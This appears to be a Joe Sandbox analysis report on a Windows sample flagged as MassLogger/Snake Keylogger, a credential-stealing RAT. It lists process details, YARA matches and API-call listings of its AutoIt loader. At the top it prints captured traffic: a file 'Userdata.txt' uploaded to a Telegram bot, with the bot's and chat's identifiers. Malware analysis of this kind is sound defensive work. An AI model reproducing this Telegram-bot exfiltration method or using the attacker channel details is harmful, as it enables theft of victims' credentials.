2025-01-10 22:46:10 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 39 65 61 61 39 39 36 65 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd319eaa996ebcContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:46:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:46:11 GMT Content-Type: application/json Content-Length: 551 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:46:11 UTC	551	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 31 33 36 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 33 38 36 31 39 37 33 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6e 6f 76 61 6c 6f 67 67 65 72 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6e 6f 76 6f 6c 6f 67 67 65 72 70 72 69 6e 63 65 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 34 35 35 37 37 36 35 36 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 7a 65 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 6e 79 65 6e 7a 65 30 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 39 31 37 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 Data Ascii: {"ok":true,"result":{"message_id":21364,"from":{"id":8138619732,"is_bot":true,"first_name":"novalogger","username":"novologgerprincebot"},"chat":{"id":7455776561,"first_name":"Nze","username":"Onyenze001","type":"private"},"date":1736549171,"document":{"f

Target ID:	2
Start time:	17:45:55
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\2NJzy3tiny.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2NJzy3tiny.exe"
Imagebase:	0x90000
File size:	994'304 bytes
MD5 hash:	2CD4AD6CEC0F7EE2BC74B42753D03645
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:45:59
Start date:	10/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2NJzy3tiny.exe"
Imagebase:	0x520000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	6.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	52

Executed Functions

Function 00093B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00093B68
IsDebuggerPresent.KERNEL32 ref: 00093B7A
GetFullPathNameW.KERNEL32(00007FFF,?,?,001552F8,001552E0,?,?), ref: 00093BEB

Part of subcall function 00097BCC: _memmove.LIBCMT ref: 00097C06

Part of subcall function 000A092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00093C14,001552F8,?,?,?), ref: 000A096E

SetCurrentDirectoryW.KERNEL32(?), ref: 00093C6F
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00147770,00000010), ref: 000CD281
SetCurrentDirectoryW.KERNEL32(?,001552F8,?,?,?), ref: 000CD2B9
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00144260,001552F8,?,?,?), ref: 000CD33F
ShellExecuteW.SHELL32(00000000,?,?), ref: 000CD346

Part of subcall function 00093A46: GetSysColorBrush.USER32(0000000F), ref: 00093A50
Part of subcall function 00093A46: LoadCursorW.USER32(00000000,00007F00), ref: 00093A5F
Part of subcall function 00093A46: LoadIconW.USER32(00000063), ref: 00093A76
Part of subcall function 00093A46: LoadIconW.USER32(000000A4), ref: 00093A88
Part of subcall function 00093A46: LoadIconW.USER32(000000A2), ref: 00093A9A
Part of subcall function 00093A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00093AC0
Part of subcall function 00093A46: RegisterClassExW.USER32(?), ref: 00093B16

Part of subcall function 000939D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00093A03
Part of subcall function 000939D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00093A24
Part of subcall function 000939D5: ShowWindow.USER32(00000000,?,?), ref: 00093A38
Part of subcall function 000939D5: ShowWindow.USER32(00000000,?,?), ref: 00093A41

Part of subcall function 0009434A: _memset.LIBCMT ref: 00094370
Part of subcall function 0009434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00094415

Strings

runas, xrefs: 000CD33A
This is a third-party compiled AutoIt script., xrefs: 000CD279

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 529118366-3287110873
Opcode ID: 26594ff886fa6c9d8b5df0805ca879491539b6d43f47b7bee3b8b52557e3b1f3
Instruction ID: 8472ce4d6dee2e22e81217da906446f6845102e48b62e44e6cbe240cfa19c183
Opcode Fuzzy Hash: 26594ff886fa6c9d8b5df0805ca879491539b6d43f47b7bee3b8b52557e3b1f3
Instruction Fuzzy Hash: 1B51F571908608EECF11EBB4DC16EFD7BBAAF05741F004069F425BA1A3DB705686EB21

Function 000949A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 000949CD

Part of subcall function 00097BCC: _memmove.LIBCMT ref: 00097C06

GetCurrentProcess.KERNEL32(?,0011FAEC,00000000,00000000,?), ref: 00094A9A
IsWow64Process.KERNEL32(00000000), ref: 00094AA1
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00094AE7
FreeLibrary.KERNEL32(00000000), ref: 00094AF2
GetSystemInfo.KERNEL32(00000000), ref: 00094B23
GetSystemInfo.KERNEL32(00000000), ref: 00094B2F

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 538a174d67d67a4e85340f6861ac0746f459fa378cc6f469e7f0a328b01e85b9
Instruction ID: 3fb090334a75f0fb87d6975b792645f58df68e23e56ec41e95f2d7b86a2bd7e6
Opcode Fuzzy Hash: 538a174d67d67a4e85340f6861ac0746f459fa378cc6f469e7f0a328b01e85b9
Instruction Fuzzy Hash: FA91E73198D7C0DECB31CB688550AAEFFF5AF29300B4449AED0CA53A01D630E549D75A

Function 00094E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00094D8E,?,?,00000000,00000000), ref: 00094E99
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00094D8E,?,?,00000000,00000000), ref: 00094EB0
LoadResource.KERNEL32(?,00000000,?,?,00094D8E,?,?,00000000,00000000,?,?,?,?,?,?,00094E2F), ref: 000CD937
SizeofResource.KERNEL32(?,00000000,?,?,00094D8E,?,?,00000000,00000000,?,?,?,?,?,?,00094E2F), ref: 000CD94C
LockResource.KERNEL32(00094D8E,?,?,00094D8E,?,?,00000000,00000000,?,?,?,?,?,?,00094E2F,00000000), ref: 000CD95F

Strings

SCRIPT, xrefs: 00094EA6

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 8527f39c3edf3712f3a32ab742cf5c7091ff4400ce0e1e867e27cb45e2f25ccc
Instruction ID: 5e91522e736c224a57eec16852120072758719c96b8d32708ce8840e8bc2fb96
Opcode Fuzzy Hash: 8527f39c3edf3712f3a32ab742cf5c7091ff4400ce0e1e867e27cb45e2f25ccc
Instruction Fuzzy Hash: C8117075240700BFDB258B65EC88F677BBAFBC5B11F10826CF445C6660DB71EC429660

Function 0009FCE0 Relevance: 5.5, APIs: 3, Instructions: 1040COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: fc4882b18176e632ea67577ce52605c8c5aa400857cc76f2672a62397e4b7aad
Instruction ID: f8c0bd3366915afb2f4a6c5b51ab5fa1d40aa4b06b38ff465f035123ff76cb88
Opcode Fuzzy Hash: fc4882b18176e632ea67577ce52605c8c5aa400857cc76f2672a62397e4b7aad
Instruction Fuzzy Hash: BE927B706083458FDB60DF68C480B6BB7E5BF86304F14896DE89A9B362D771EC45CB92

Function 000F445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,000CE398), ref: 000F446A
FindFirstFileW.KERNELBASE(?,?), ref: 000F447B
FindClose.KERNEL32(00000000), ref: 000F448B

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 816ecb07233026f90343803b2ca4c8c628217c93676af5dbd5d41a20ba9403ac
Instruction ID: 56dc8d98b18b1e9598d686e3da37cd9354f35f965fa9cff5f47a0488ef01a9f6
Opcode Fuzzy Hash: 816ecb07233026f90343803b2ca4c8c628217c93676af5dbd5d41a20ba9403ac
Instruction Fuzzy Hash: 92E0D8324109146752146B38EC0D4FB779C9F05335F104719FD35D14D0E774A940A595

Function 0009E6A0 Relevance: 2.4, Strings: 1, Instructions: 1102COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 000D3E62

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.
API String ID: 0-109567571
Opcode ID: 0b3c2dcad8b8c018ff428b8ca37c0b0a89da155afb9cd02e935a9ca96351d655
Instruction ID: b148c71d64132a2662fe3b52a1fb7c416a9d21f0b22a202c4e7fff38258389c0
Opcode Fuzzy Hash: 0b3c2dcad8b8c018ff428b8ca37c0b0a89da155afb9cd02e935a9ca96351d655
Instruction Fuzzy Hash: D9A26974A00245CBCF64CF58C480AAEB7F1FF58310F64846AE915AB352D735ED82EB91

Function 000A09D0 Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 000A0A5B
timeGetTime.WINMM ref: 000A0D16
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 000A0E53
Sleep.KERNEL32(0000000A), ref: 000A0E61
LockWindowUpdate.USER32(00000000,?,?), ref: 000A0EFA
DestroyWindow.USER32 ref: 000A0F06
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 000A0F20
Sleep.KERNEL32(0000000A,?,?), ref: 000D4E83
TranslateMessage.USER32(?), ref: 000D5C60
DispatchMessageW.USER32(?), ref: 000D5C6E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 000D5C82

Strings

@GUI_CTRLID, xrefs: 000D4F3A
@GUI_CTRLHANDLE, xrefs: 000D4FE4
@TRAY_ID, xrefs: 000D578F
@COM_EVENTOBJ, xrefs: 000D54F0
@GUI_WINHANDLE, xrefs: 000D4F8F

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 4212290369-3242690629
Opcode ID: 4df4118cd6eda95fe88dd30294da38d50dc023890b3c4b3c6f995279ab7a5c97
Instruction ID: b0d2c6e7285b5902c8bc367ff22bfd020b1b2091e9a3b00ce82936d7648c621a
Opcode Fuzzy Hash: 4df4118cd6eda95fe88dd30294da38d50dc023890b3c4b3c6f995279ab7a5c97
Instruction Fuzzy Hash: 9BB2E170608741DFDB24DF64C884BAEB7E5BF85305F14491EE889973A2CB71E884DB92

Function 000F9155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000F8F5F: __time64.LIBCMT ref: 000F8F69

Part of subcall function 00094EE5: _fseek.LIBCMT ref: 00094EFD

__wsplitpath.LIBCMT ref: 000F9234

Part of subcall function 000B40FB: __wsplitpath_helper.LIBCMT ref: 000B413B

_wcscpy.LIBCMT ref: 000F9247
_wcscat.LIBCMT ref: 000F925A
__wsplitpath.LIBCMT ref: 000F927F
_wcscat.LIBCMT ref: 000F9295
_wcscat.LIBCMT ref: 000F92A8

Part of subcall function 000F8FA5: _memmove.LIBCMT ref: 000F8FDE
Part of subcall function 000F8FA5: _memmove.LIBCMT ref: 000F8FED

_wcscmp.LIBCMT ref: 000F91EF

Part of subcall function 000F9734: _wcscmp.LIBCMT ref: 000F9824
Part of subcall function 000F9734: _wcscmp.LIBCMT ref: 000F9837

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 000F9452
_wcsncpy.LIBCMT ref: 000F94C5
DeleteFileW.KERNEL32(?,?), ref: 000F94FB
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 000F9511
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 000F9522
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 000F9534

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 76d06a4450913c88f5d27e8a1bc430f4125507b44374e342b997cb65becafeb0
Instruction ID: a90d0d93f11599ae34ef8427f906c9a94f5d993ef18b5de4474efacac6512c23
Opcode Fuzzy Hash: 76d06a4450913c88f5d27e8a1bc430f4125507b44374e342b997cb65becafeb0
Instruction Fuzzy Hash: 7FC13BB1D0021DAADF21DF95CC85EEEB7BDEF45310F0040AAF609E6152EB309A859F65

Function 0009301C Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00093074
RegisterClassExW.USER32(00000030), ref: 0009309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 000930AF
InitCommonControlsEx.COMCTL32(?), ref: 000930CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 000930DC
LoadIconW.USER32(000000A9), ref: 000930F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00093101

Strings

0, xrefs: 00093056
+, xrefs: 0009305D
TaskbarCreated, xrefs: 000930A4
AutoIt v3 GUI, xrefs: 00093090

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 35d7bbe85e0a69bc8fcd1c6465087a9130e1076e82d14e3a19ab88dbff6decdc
Instruction ID: 582aab3876c4c8bca361512d6fb647822fb91c3941cd4cc8890182a02c344a53
Opcode Fuzzy Hash: 35d7bbe85e0a69bc8fcd1c6465087a9130e1076e82d14e3a19ab88dbff6decdc
Instruction Fuzzy Hash: A63116B1941709EFDB40CFA4E985AC9BBF1FB09315F10452EE580AA6A0D3B90586CF91

Function 00093041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00093074
RegisterClassExW.USER32(00000030), ref: 0009309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 000930AF
InitCommonControlsEx.COMCTL32(?), ref: 000930CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 000930DC
LoadIconW.USER32(000000A9), ref: 000930F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00093101

Strings

0, xrefs: 00093056
+, xrefs: 0009305D
TaskbarCreated, xrefs: 000930A4
AutoIt v3 GUI, xrefs: 00093090

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 52e3ed0434ee40bac3aeb08938b1625d0d15dd47fb3865c69556c2d4fae41c5e
Instruction ID: a3232005a4a7d93baebd65e762c1ff469c4a19a042cd70e53c142982dfff37e3
Opcode Fuzzy Hash: 52e3ed0434ee40bac3aeb08938b1625d0d15dd47fb3865c69556c2d4fae41c5e
Instruction Fuzzy Hash: DA21E0B5901308EFDB00DFA5E989BDDBBF6FB08701F00812AF910AA6A0D7B145858F91

Function 0009708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00094706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,001552F8,?,000937AE,?), ref: 00094724

Part of subcall function 000B050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00097165), ref: 000B052D

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 000971A8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 000CE8C8
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 000CE909
RegCloseKey.ADVAPI32(?), ref: 000CE947
_wcscat.LIBCMT ref: 000CE9A0

Strings

\Include\, xrefs: 00097165
Include, xrefs: 000CE8BF, 000CE900
Software\AutoIt v3\AutoIt, xrefs: 0009719E
\, xrefs: 000CE9C3

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
